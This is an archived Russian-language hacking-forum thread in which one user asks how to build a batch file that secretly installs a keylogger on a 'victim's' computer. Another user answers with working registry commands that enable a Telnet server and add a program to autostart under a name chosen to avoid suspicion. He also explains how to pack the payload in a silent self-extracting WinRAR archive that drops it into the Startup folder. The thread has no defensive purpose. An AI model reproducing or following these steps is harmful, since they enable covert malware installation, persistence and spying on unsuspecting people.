PDA

Просмотр полной версии : Прошу помочь со скрытой установкой.

ufoPlast
19.08.2007, 13:55
Смысл в том что бы сделать допустим .Ват файл которы при запуске устанавливал нужное приложение на комп жертвы. То есть кидал файлы на диск, пропитывался в реестре и в автозагрузке. Ну или хотя бы что то близкое к этому.:)


Поделитесь материалом или советом. Спасибо.
ufoPlast
19.08.2007, 14:08
типа у себя на компе запустил а у жертвы незаметно поставилось? если так ты хочешь то это практически нереал



Нет конечно. Идея такова. Я веру допустим кейлоггер без удаленной становки и хочу сделать эту установку. И соответственно креплю к чему то...
DeBugger
19.08.2007, 15:08
Вот пример команды, с помощью которой можно включить на компе жертвы сервер Telnet (на WinXP Pro SP2). Команда работает из BAT или CMD-файлов.REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /fРаботать будет, но приконнектиться получится редко. Если хочешь вписать программу в автозапуск, пробуй что-то вроде:REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperProga /t REG_SZ /d C:\\WINDOWS\\system32\\proga.exe /fЭто пример для запуска через Machine Run. Есть другие варианты, выбирай. Вместо "SuperProga" и "proga.exe" стоит придумать звучные названия, не вызывающие подозрений.
ufoPlast
19.08.2007, 15:17
Вот пример команды, с помощью которой можно включить на компе жертвы сервер Telnet (на WinXP Pro SP2). Команда работает из BAT или CMD-файлов.REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /fРаботать будет, но приконнектиться получится редко. Если хочешь вписать программу в автозапуск, пробуй что-то вроде:REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperProga /t REG_SZ /d C:\\WINDOWS\\system32\\proga.exe /fЭто пример для запуска через Machine Run. Есть другие варианты, выбирай. Вместо "SuperProga" и "proga.exe" стоит придумать звучные названия, не вызывающие подозрений.



А сама установка? Ну в смысле установка нужных файлов. Может кто то еще что то знает?
DeBugger
19.08.2007, 16:01
Сама установка - SFX-архив, созданный WinRAR'ом. Настройки архива соответствующие: Скрыть все диалоги, перезаписывать файлы без запроса, абсолютный путь (вписываешь какой тебе нужно). В поле "Выполнить после распаковки" вписываешь указанную выше команду для прописывания автозапуска. Если файл всего один, можно тупо распаковать его в автозагрузку (например, C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а). Туда народ смотрит нечасто почему-то...